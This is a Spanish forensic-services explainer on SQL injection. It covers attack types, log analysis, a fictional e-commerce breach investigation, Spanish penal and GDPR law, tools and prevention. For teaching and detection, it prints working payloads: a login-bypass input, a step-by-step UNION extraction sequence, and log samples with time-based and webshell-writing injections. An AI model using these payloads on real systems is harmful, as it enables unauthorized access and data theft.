¿Qué es una inyección SQL y cómo funciona?

Es un ataque donde el atacante introduce código SQL malicioso en campos de entrada de una aplicación web (formularios, URLs, cabeceras) para que el servidor de base de datos lo ejecute. Permite extraer datos, modificar registros o incluso ejecutar comandos en el sistema operativo.

¿Cómo detecta un perito forense un ataque de inyección SQL?

Analizando logs del servidor web (Apache, Nginx), logs del WAF si existe, logs de la base de datos (general_log, slow_query_log), y correlacionando patrones de tráfico anómalo con las queries ejecutadas en la base de datos.

¿Qué consecuencias legales tiene sufrir una inyección SQL con brecha de datos?

La empresa víctima debe notificar a la AEPD sin dilación indebida y, de ser posible, a más tardar 72 horas después de tener constancia (art. 33 RGPD), salvo que sea improbable que la brecha suponga un riesgo para los afectados; si notifica más tarde, debe justificar la demora. Una brecha no determina por sí sola que las medidas fueran inadecuadas: la adecuación al art. 32 RGPD se valora caso por caso según el riesgo y el estado de la técnica. La falta de consultas parametrizadas puede ser un indicio técnico relevante, y disponer o no de WAF es uno de los elementos de defensa, no un requisito autónomo que decida la infracción. Cuando se aprecia una infracción del art. 32, el art. 83.4.a la sitúa en el tramo de hasta 10 millones de euros o el 2 % del volumen de negocio anual global, el importe que sea mayor. No es el tramo de 20 millones y el 4 %: ese, del art. 83.5, se reserva a otras infracciones como las de los principios del tratamiento o los derechos de los interesados.

Inyección SQL - Análisis Forense de SQLi

¿Qué es la inyección SQL?

La inyección SQL (SQL injection o SQLi) es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Mediante la inserción de código SQL malicioso en campos de entrada —formularios de login, barras de búsqueda, parámetros de URL o cabeceras HTTP—, el atacante consigue que el servidor de base de datos ejecute instrucciones no previstas por los desarrolladores.

En el OWASP Top 10 de 2025, la inyección —que agrupa SQLi, XSS y otras formas de inyección— es la categoría A05:2025, tras haber ocupado la tercera posición como A03:2021 en la edición anterior. La bajada de dos puestos no significa que se explote menos: refleja que el ranking de OWASP pondera prevalencia e impacto sobre el conjunto de aplicaciones analizadas, y que en esta edición han escalado otras categorías —entre ellas A03:2025 Software Supply Chain Failures, que entra directamente en el tercer puesto—. Al citar OWASP en un informe conviene decir siempre la edición, porque los identificadores Annn se reutilizan de una a otra con contenidos distintos. A pesar de ser una vulnerabilidad conocida desde finales de los años 90, sigue siendo responsable de algunas de las brechas de datos más graves a nivel mundial. Y la tendencia reciente lo refuerza por otra vía: el Data Breach Investigations Report 2026 de Verizon sitúa la explotación de vulnerabilidades como el vector de acceso inicial más frecuente, con el 31 % —era el 20 % el año anterior—, por delante del abuso de credenciales.

En el ámbito del peritaje informático forense, la inyección SQL requiere un análisis riguroso y multidimensional: no basta con identificar la vulnerabilidad explotada, sino que es necesario reconstruir toda la cadena de ataque, cuantificar los datos comprometidos y preservar la evidencia con garantías procesales para que sea admisible en procedimientos judiciales.

Impacto real de la inyección SQL

Un solo ataque de inyección SQL exitoso puede comprometer la totalidad de una base de datos: credenciales de usuarios, datos financieros, información personal protegida por el RGPD e incluso configuraciones internas del servidor. La gravedad depende del nivel de privilegios que tenga la cuenta de base de datos utilizada por la aplicación.

Cómo funciona la inyección SQL

Mecanismo básico del ataque

En una aplicación web vulnerable, el código del servidor construye consultas SQL concatenando directamente la entrada del usuario sin validarla ni parametrizarla. Un formulario de login típico podría generar esta consulta:

-- Consulta esperada por el desarrollador
SELECT * FROM usuarios WHERE username='admin' AND password='miClave123';

-- Lo que el atacante introduce en el campo de usuario (MySQL: el espacio tras -- es significativo):
-- admin'-- -
-- Consulta resultante:
SELECT * FROM usuarios WHERE username='admin'-- -' AND password='loquesea';

En MySQL, -- inicia un comentario solo si el segundo guion va seguido de un espacio o un carácter de control (por eso el payload añade -- -); desde ese punto se ignora el resto de la línea y el atacante accede como administrador sin conocer la contraseña. La sintaxis exacta de los comentarios depende del motor.

Tipos de inyección SQL

Tipo	Mecanismo	Dificultad de detección	Impacto
In-band (clásica)	La respuesta de la base de datos se muestra directamente en la página	Baja - deja rastros claros en logs	Extracción directa de datos
UNION-based	Usa UNION SELECT para combinar resultados de otras tablas	Baja - queries UNION anómalas en logs	Acceso a cualquier tabla
Error-based	Provoca errores SQL que revelan estructura de la base de datos	Media - errores pueden no loguearse	Reconocimiento de estructura
Blind boolean	Infiere datos observando respuestas true/false de la aplicación	Alta - una petición por bit de información	Extracción lenta pero efectiva
Blind time-based	Usa funciones de retardo (SLEEP, WAITFOR) para inferir datos	Alta - múltiples peticiones con tiempos	Extracción muy lenta
Out-of-band	Exfiltra datos vía DNS o HTTP hacia servidor del atacante	Muy alta - datos salen por canal diferente	Bypass de firewalls
Second-order	Payload almacenado se ejecuta en otro contexto posterior	Muy alta - la inyección es diferida	Persistente y difícil de rastrear

Ejemplo detallado: UNION-based injection

-- Paso 1: Determinar número de columnas
/productos?id=1 ORDER BY 1--    (OK)
/productos?id=1 ORDER BY 2--    (OK)
/productos?id=1 ORDER BY 3--    (OK)
/productos?id=1 ORDER BY 4--    (ERROR - solo 3 columnas)

-- Paso 2: Identificar columnas visibles
/productos?id=-1 UNION SELECT 1,2,3--
-- La página muestra "2" y "3" en algún campo visible

-- Paso 3: Extraer datos del sistema
/productos?id=-1 UNION SELECT 1,version(),database()--
-- Revela: MySQL 8.0.32, base de datos "tienda_online"

-- Paso 4: Listar tablas
/productos?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='tienda_online'--

-- Paso 5: Extraer datos sensibles
/productos?id=-1 UNION SELECT 1,username,password FROM usuarios--

Herramientas automatizadas

Los atacantes suelen utilizar herramientas como SQLMap que automatizan todo este proceso, realizando cientos o miles de peticiones en minutos para mapear la base de datos completa. Esto deja un patrón de tráfico muy reconocible en los logs del servidor web y del WAF.

Análisis forense de un ataque SQLi

Fuentes de evidencia

La investigación forense de una inyección SQL requiere recopilar y correlacionar evidencia de múltiples fuentes:

Fuente	Ubicación típica	Información clave
Logs del servidor web	`/var/log/apache2/access.log`, `/var/log/nginx/access.log`	URLs con payloads SQLi, IPs de origen, timestamps
Logs del WAF	Varía según proveedor (ModSecurity, Cloudflare, AWS WAF)	Peticiones bloqueadas y permitidas, reglas activadas
Logs de la base de datos	MySQL: `general_log`, `slow_query_log`; PostgreSQL: `pg_log`	Sentencias recibidas, conexiones y usuarios; el `general_log` no acredita por sí solo el éxito ni las filas devueltas
Logs de aplicación	Directorio de la aplicación (varía)	Errores, excepciones, queries con parámetros
Capturas de red	Archivos pcap de IDS/IPS o mirror de tráfico	Peticiones HTTP completas, respuestas del servidor
Logs del sistema operativo	`/var/log/syslog`, Event Viewer	Accesos a archivos, procesos, conexiones

Proceso de investigación forense

Preservación inmediata de la evidencia: Antes de cualquier análisis, crear copias forenses con hash SHA-256 de todos los logs relevantes: servidor web, WAF, base de datos y aplicación. Documentar la cadena de custodia desde el primer momento. Si la base de datos sigue activa, deshabilitar la rotación de logs y crear un snapshot.
Análisis de logs del servidor web: Buscar patrones de inyección SQL en los access logs del servidor web. Los indicadores más comunes incluyen: comillas simples en parámetros ('), cláusulas UNION SELECT, comentarios SQL (--, /**/, #), funciones de tiempo (SLEEP, WAITFOR DELAY), y palabras clave SQL en parámetros de URL (information_schema, sysobjects, LOAD_FILE).
Correlación con logs del WAF: Si existe un WAF (Web Application Firewall), sus logs revelan tanto las peticiones bloqueadas como las que pudieron pasar. Analizar las reglas activadas (CRS de OWASP, reglas personalizadas) y correlacionar timestamps con los logs del servidor web para identificar los payloads que tuvieron éxito.
Análisis de logs de la base de datos: Examinar el general_log o slow_query_log para identificar las sentencias registradas como recibidas por el servidor. El general_log no acredita por sí solo que se ejecutaran con éxito ni cuántas filas devolvieron: hay que correlacionarlo con otras fuentes (respuestas del servidor web, errores) para determinar el resultado. Buscar consultas con patrones anómalos: SELECT sin cláusula WHERE sobre tablas sensibles, UNION SELECT con número de columnas inconsistente, acceso a information_schema o tablas de sistema.
Reconstrucción del timeline: Crear una línea temporal completa correlacionando las distintas fuentes. Identificar el momento exacto del primer intento, la fase de reconocimiento (pruebas de número de columnas, detección de versión), la exfiltración exitosa y la última actividad del atacante.
Cuantificación del impacto: Determinar exactamente qué tablas fueron consultadas, cuántos registros se extrajeron, si hubo modificaciones (INSERT, UPDATE, DELETE) o si el atacante logró escribir archivos en el servidor (INTO OUTFILE) o ejecutar comandos del sistema operativo (xp_cmdshell en SQL Server).
Identificación del atacante: Analizar las IPs de origen (pueden ser VPN, Tor o proxies), los User-Agent utilizados, los patrones de tiempo entre peticiones (automatizado vs manual), y cualquier otro indicador que pueda atribuir el ataque.

Patrones forenses en logs del servidor web

## Patrón típico de reconocimiento SQLMap (User-Agent delator)
203.0.113.42 - - [15/Feb/2026:03:45:12 +0100]
  "GET /productos?id=1%27%20OR%201=1-- HTTP/1.1" 200 4523
  "sqlmap/1.7.2#stable (https://sqlmap.org)"

## Inyección UNION-based (URL-encoded)
203.0.113.42 - - [15/Feb/2026:03:45:23 +0100]
  "GET /productos?id=-1%20UNION%20SELECT%201,username,password%20FROM%20usuarios-- HTTP/1.1" 200 8912

## Blind time-based (respuesta lenta = verdadero)
203.0.113.42 - - [15/Feb/2026:03:46:01 +0100]
  "GET /productos?id=1%20AND%20SLEEP(5)-- HTTP/1.1" 200 4523
  # Tiempo de respuesta: 5.003s (normal sería menos de 100ms)

## Intento de escritura de webshell
203.0.113.42 - - [15/Feb/2026:03:48:15 +0100]
  "GET /productos?id=-1%20UNION%20SELECT%201,%27%3C%3Fphp%20system(%24_GET[cmd])%3B%3F%3E%27,3%20INTO%20OUTFILE%20%27/var/www/html/shell.php%27-- HTTP/1.1" 403 287

Urgencia en la preservación

La ventana disponible para preservar los logs depende de la configuración efectiva del servidor web y de la política de rotación del sistema: no debe suponerse una rotación semanal ni que access.log se sobrescriba por sí solo. En servidores con mucho tráfico esa ventana puede reducirse a días. Por eso la preservación forense inmediata es crítica: hay que comprobar la política vigente y congelar los ficheros de inmediato.

Clasificación OWASP y estándares

OWASP Top 10

La inyección SQL se enmarca en la categoría A05:2025 - Injection del OWASP Top 10 (A03:2021 en la edición anterior). Esta clasificación es relevante en contextos periciales porque el OWASP Top 10 es un documento de referencia y concienciación con amplio consenso en la seguridad de aplicaciones web.

CWE (Common Weakness Enumeration)

Código CWE	Descripción	Relevancia forense
CWE-89	Improper Neutralization of Special Elements used in an SQL Command	Clasificación principal de SQLi
CWE-564	SQL Injection: Hibernate	Variante en frameworks ORM
CWE-566	Authorization Bypass Through User-Controlled SQL Primary Key	Bypass de autorización mediante clave primaria controlable
CWE-943	Improper Neutralization of Special Elements in Data Query Logic	Clase amplia de inyección en lógica de consulta (incluye SQL y NoSQL)

Mitigaciones según OWASP

Mitigación	Eficacia	Ejemplo
Prepared statements (parametrizadas)	Muy alta	`SELECT * FROM users WHERE id = ?`
Stored procedures	Alta	Procedimientos almacenados sin SQL dinámico
Validación de entrada (whitelist)	Media-alta	Solo permitir caracteres alfanuméricos donde corresponda
Escape de caracteres	Media	`mysql_real_escape_string()` (último recurso)
WAF (Web Application Firewall)	Media	Detección por firmas y anomalías
Principio de mínimo privilegio	Complementaria	Cuenta de BD de la app sin permisos de admin

Recorrido completo: brecha de datos en un comercio electrónico

Escenario ilustrativo

El recorrido de esta sección es un escenario construido sobre una tipología real de la práctica pericial: muestra cómo se encadena la investigación de un SQLi y, sobre todo, cómo se cuantifica el alcance. Los perfiles, cifras, horas y desenlaces no corresponden a un procedimiento identificable.

Escenario

Una tienda online con 45.000 clientes registrados detecta actividad anómala en su base de datos. El equipo de sistemas observa que los tiempos de respuesta de las consultas se han degradado significativamente y aparecen registros de acceso inusuales en los logs del servidor web durante la madrugada.

Investigación forense

Fase 1: Preservación

## 1) Congelar la rotación y fijar los ficheros exactos a adquirir.
##    Los logs son activos: se documenta cómo se obtiene una versión estable
##    (parada del servicio o copia con la rotación detenida) antes de hashear.
LOGS="/var/log/nginx/access.log /var/log/mysql/general.log"

## 2) Hash de cada ORIGINAL
sha256sum $LOGS > /evidencia/hashes_originales.txt

## 3) Copia de cada fichero enumerado (aún no es "copia forense": lo será
##    cuando se verifique su integridad en el paso 5)
cp -a /var/log/nginx/access.log  /evidencia/access.log
cp -a /var/log/mysql/general.log /evidencia/general.log

## 4) Hash de cada COPIA
sha256sum /evidencia/access.log /evidencia/general.log > /evidencia/hashes_copias.txt

## 5) Comparar los digests de original y copia: deben coincidir
awk '{print $1}' /evidencia/hashes_originales.txt | sort > /tmp/o.txt
awk '{print $1}' /evidencia/hashes_copias.txt     | sort > /tmp/c.txt
diff /tmp/o.txt /tmp/c.txt && echo "Integridad OK: original == copia"

## 6) Volcado lógico de la BD (artefacto APARTE: su hash acredita ese dump,
##    no sustituye la adquisición de los logs ni una imagen del soporte)
mysqldump --single-transaction --all-databases > /evidencia/db_dump_20260210.sql
sha256sum /evidencia/db_dump_20260210.sql >> /evidencia/hashes_artefactos.txt

Fase 2: Análisis de logs del servidor web

## 2.847 peticiones desde la misma IP en unas 2 horas (madrugada)
185.234.xx.xx - - [09/Feb/2026:02:12:05 +0100]
  "GET /buscar?q=1'%20AND%201=1-- HTTP/1.1" 200 15234
185.234.xx.xx - - [09/Feb/2026:02:12:06 +0100]
  "GET /buscar?q=1'%20AND%201=2-- HTTP/1.1" 200 8921
  # Diferente tamaño de respuesta = blind boolean SQLi

Fase 3: Timeline reconstruido

Hora	Actividad	Evidencia
02:12	Primeras pruebas de inyección (boolean blind)	access.log: 200 respuestas
02:18	Atacante identifica 5 columnas con ORDER BY	access.log: secuencia ORDER BY
02:20	Primera consulta UNION SELECT observada	general_log: query anómala recibida
02:25	Enumeración de tablas vía information_schema	general_log: 23 sentencias recibidas
02:31	Consulta a la tabla `clientes`	general_log: SELECT recibido (no acredita filas devueltas)
02:48	Consulta a la tabla `pedidos`	general_log: SELECT recibido
03:15	Consulta a la tabla `pagos`	general_log: SELECT sobre datos financieros recibido
03:52	Intento de INTO OUTFILE denegado	log de errores de MySQL: escritura denegada
04:01	Última actividad registrada	access.log: última petición

Fase 4: Cuantificación del impacto

Tabla comprometida	Registros	Datos expuestos	Criticidad RGPD
`clientes`	45.000	Nombre, email, teléfono, dirección	Alta (datos personales)
`pedidos`	127.000	Historial de compras, importes	Media (datos comerciales)
`pagos`	89.000	Últimos 4 dígitos tarjeta, titular, fecha expiración	Crítica (datos financieros)
`usuarios_admin`	12	Usernames y hashes de contraseñas (bcrypt)	Alta (credenciales)

Qué documenta el informe pericial

La vulnerabilidad concreta explotada: falta de parametrización en el parámetro q del buscador
La ausencia de WAF y de validación de entrada
El alcance por tabla, con el detalle de la sección anterior
La cronología completa, correlacionada entre access.log y general_log
Lo que no se puede afirmar, que es tan importante como lo anterior

El alcance no es el número de clientes: es la suma de lo consultado

Es el error de cuantificación más frecuente, y se ve bien en este escenario. Decir «45.000 datos personales comprometidos» porque hay 45.000 clientes infravalora la brecha: las consultas alcanzaron también 127.000 pedidos —historial de compras asociado a personas identificables— y 89.000 registros de pagos con titular y datos parciales de tarjeta. Todo eso son datos personales, y varios de ellos de mayor sensibilidad que el nombre y el email.

La cifra que va a la notificación del art. 33 RGPD no es el censo de clientes: es qué categorías de datos se vieron afectadas y sobre cuántos interesados, que puede ser menos que el total de registros —un cliente aparece en varias tablas— pero nunca se calcula contando solo la tabla de clientes.

Y en el otro sentido, la misma cautela: el general_log acredita qué sentencias recibió el servidor, no que se ejecutaran con éxito, cuántas filas devolvieron ni si el atacante llegó a recibirlas. Un informe riguroso distingue datos accedidos de datos exfiltrados, y declara con qué evidencia sostiene cada cosa.

Con esa documentación, la empresa tiene lo que necesita para la notificación a la AEPD y para la reclamación al ciberseguro. Conviene precisar el papel del peritaje en cada una: la obligación de notificar en 72 horas no espera al informe —se notifica con lo que se sepa, y el art. 33.4 RGPD permite hacerlo de forma escalonada—, mientras que la reclamación a la aseguradora sí suele exigir la acreditación técnica del vector, el alcance y la cronología.

Marco legal en España

Delitos aplicables al atacante

Delito	Artículo Código Penal	Pena	Aplicación a SQLi
Acceso ilícito a un sistema de información	Art. 197 bis.1	Prisión de 6 meses a 2 años	Es el tipo base: acceder vulnerando las medidas de seguridad establecidas para impedirlo
Apoderamiento de datos reservados de carácter personal	Art. 197.2	Las mismas penas del 197.1: prisión de 1 a 4 años y multa de 12 a 24 meses	Extraer datos personales registrados en ficheros — el encaje habitual del SQLi contra una base de datos de clientes
Difusión o cesión de los datos descubiertos	Art. 197.3	Prisión de 2 a 5 años	Publicar o vender lo extraído. Es un plus sobre el apoderamiento, no un sustituto
Daños informáticos	Art. 264	Prisión de 6 meses a 3 años	Si, sin autorización y de manera grave, se borran, dañan, alteran o hacen inaccesibles datos ajenos y el resultado producido es grave
Obstaculización del sistema	Art. 264 bis	6 meses a 3 años; 3 a 8 años si concurren las circunstancias agravadas del art. 264.2	Si el ataque interrumpe gravemente el funcionamiento del sistema

Tres precisiones que decidieron más de un contrainterrogatorio

El 197.2 no lleva pena propia. Dice «Las mismas penas se impondrán…», y son las del 197.1: prisión de uno a cuatro años. Los dos a cinco años que suelen atribuírsele son los del 197.3, que castiga difundir, revelar o ceder lo obtenido — conducta distinta y posterior.
El 264 bis parte de seis meses a tres años, no de tres a cinco. El tramo alto es el 264 bis.2, de tres a ocho años, y solo cuando concurren las circunstancias agravadas del art. 264.2.
Y hay una agravante que casi nunca se cita: el art. 197.4.a eleva a tres a cinco años cuando los hechos los cometen «las personas encargadas o responsables de los ficheros». En una brecha con sospecha de origen interno, es el precepto que cambia la calificación.

Responsabilidad de la empresa víctima

Según el RGPD y la LOPDGDD, la empresa que sufre una inyección SQL puede tener responsabilidad si no implementó medidas de seguridad adecuadas:

Obligación	Normativa	Consecuencia de incumplimiento
Medidas técnicas adecuadas	Art. 32 RGPD	Posible infracción, valorada según el riesgo (tramo del art. 83.4)
Notificación a la autoridad, sin dilación indebida y, de ser posible, en 72 h	Art. 33 RGPD	Posible infracción autónoma si se incumple cuando procedía
Comunicación a afectados cuando la brecha probablemente entrañe alto riesgo (salvo excepciones del art. 34.3)	Art. 34 RGPD	Posible infracción si era exigible
EIPD previa cuando el tratamiento probablemente entrañe alto riesgo	Art. 35 RGPD	Posible infracción, dentro del tramo del art. 83.4, si era exigible
Registro de actividades	Art. 30 RGPD	Dificultad para demostrar diligencia

Estándares de referencia en peritaje

ISO 27001: Sistema de gestión de seguridad de la información
ISO 27037: Directrices para identificación, recopilación, adquisición y preservación de evidencia digital
OWASP ASVS: Application Security Verification Standard (nivel de seguridad exigible)
ENS (Esquema Nacional de Seguridad): Obligatorio para administraciones públicas españolas

Herramientas forenses para análisis de SQLi

Detección y análisis de ataques

Herramienta	Función	Licencia
ModSecurity	WAF open source, logs detallados de intentos SQLi	Open source
SQLMap	Reproducir el ataque solo sobre una réplica, para acotar qué era alcanzable	Open source
Burp Suite	Análisis de peticiones HTTP con payloads SQLi	Comercial/Community
Splunk / ELK Stack	Correlación de logs de múltiples fuentes	Comercial/Open source
GoAccess	Análisis rápido de access logs del servidor web	Open source

Reproducir el ataque contra el sistema de producción arruina la evidencia

SQLMap aparece en todas las listas de herramientas y conviene decir cómo no usarlo en un peritaje. Lanzarlo contra el sistema comprometido hace dos daños a la vez: escribe en los mismos logs que se están analizando —mezclando peticiones del perito con las del atacante en la misma ventana temporal— y puede alterar o destruir datos, con lo que el perito pasa de documentar el incidente a ampliarlo.

Si hace falta acotar qué era alcanzable, se hace sobre una réplica levantada a partir de la copia forense, nunca sobre producción, y el informe declara expresamente que esas peticiones son propias, con su franja horaria y su IP de origen. Un contraperito que encuentre tráfico de SQLMap sin esa declaración tiene servida la pregunta de quién lo lanzó.

Análisis de bases de datos

Herramienta	Función	Base de datos
mysqlbinlog	Reconstruir queries desde binlog	MySQL/MariaDB
pg_waldump	Analizar WAL para reconstruir transacciones	PostgreSQL
Extended Events	Captura y análisis de eventos (sustituye a SQL Trace y al SQL Server Profiler, ya deprecados)	SQL Server
pt-query-digest	Análisis estadístico de queries (Percona)	MySQL

Preservación de evidencia

Herramienta	Función
FTK Imager	Imagen forense del servidor completo
sha256sum / hashdeep	Verificación de integridad de logs
Autopsy	Análisis forense del sistema de archivos
Wireshark	Captura de tráfico de red para reconstruir peticiones

Prevención y endurecimiento

Medidas técnicas prioritarias

Usar consultas parametrizadas (prepared statements): Es la defensa más efectiva contra SQLi. En lugar de concatenar la entrada del usuario en la query, se utilizan placeholders que el motor de base de datos trata como datos, nunca como código SQL.
Implementar un WAF con reglas OWASP CRS: Un Web Application Firewall con el Core Rule Set de OWASP puede detectar y bloquear patrones de inyección SQL conocidos. Es una capa de defensa en profundidad, susceptible de evasiones y que no cubre todos los vectores de entrada, por lo que no sustituye a las consultas parametrizadas.
Aplicar el principio de mínimo privilegio en la base de datos: La cuenta que utiliza la aplicación web para conectarse a la base de datos no debe tener permisos de administrador. Limitar a SELECT, INSERT, UPDATE y DELETE sobre las tablas estrictamente necesarias.
Validar y sanear toda entrada del usuario: Implementar validación de tipo whitelist (solo permitir los caracteres y formatos esperados) en lugar de intentar bloquear caracteres peligrosos (blacklist).
Monitorizar y conservar logs: Configurar logging detallado tanto en el servidor web como en la base de datos, con una retención definida y documentada según los riesgos, los requisitos legales y contractuales y la ventana de detección de la organización, para facilitar la investigación forense en caso de incidente.

Relación con otros conceptos

La inyección SQL se conecta directamente con varias disciplinas del peritaje informático forense:

Query SQL forense: El análisis de las queries ejecutadas en la base de datos es la técnica forense central para reconstruir un ataque SQLi, determinando exactamente qué datos fueron consultados o modificados.
SQLite forense: Muchas aplicaciones móviles y de escritorio utilizan SQLite como base de datos local, y son igualmente vulnerables a inyecciones SQL cuando no parametrizan sus consultas.
Logs de sistema: Los logs del servidor web, la base de datos y el WAF son las fuentes de evidencia primarias en la investigación forense de un ataque de inyección SQL.
Evidencia digital: Los logs, capturas de red y volcados de base de datos obtenidos durante la investigación de un SQLi deben preservarse siguiendo protocolos de evidencia digital para garantizar su admisibilidad judicial.
Cadena de custodia: Cada pieza de evidencia obtenida del análisis del ataque SQLi debe documentarse en la cadena de custodia con hashes de integridad y registro de accesos.

Y hay un plazo que corre desde el primer minuto y no espera a nadie: los logs se rotan. En un servidor con tráfico, y según su política de rotación, el access.log puede sobrescribirse en pocos días, y el general_log de MySQL suele estar desactivado por defecto — de modo que la evidencia que reconstruye la cronología o se preserva ahora, o no existe después. Lo primero no es analizar: es congelar la rotación y hashear. El análisis lo firma un perito informático forense, que responde de la cadena de custodia ante el tribunal.

Los logs que reconstruyen el ataque se rotan en días

El general_log de MySQL suele venir desactivado y el access.log puede sobrescribirse según su política de rotación: cuando arranca el procedimiento, la cronología puede haber desaparecido. Preservación inmediata con SHA-256, correlación entre servidor web y base de datos, y cuantificación del alcance por categorías de datos.

Ver el servicio de informes periciales

Última actualización: 6 de septiembre de 2026 Categoría: Seguridad Código: SQL-001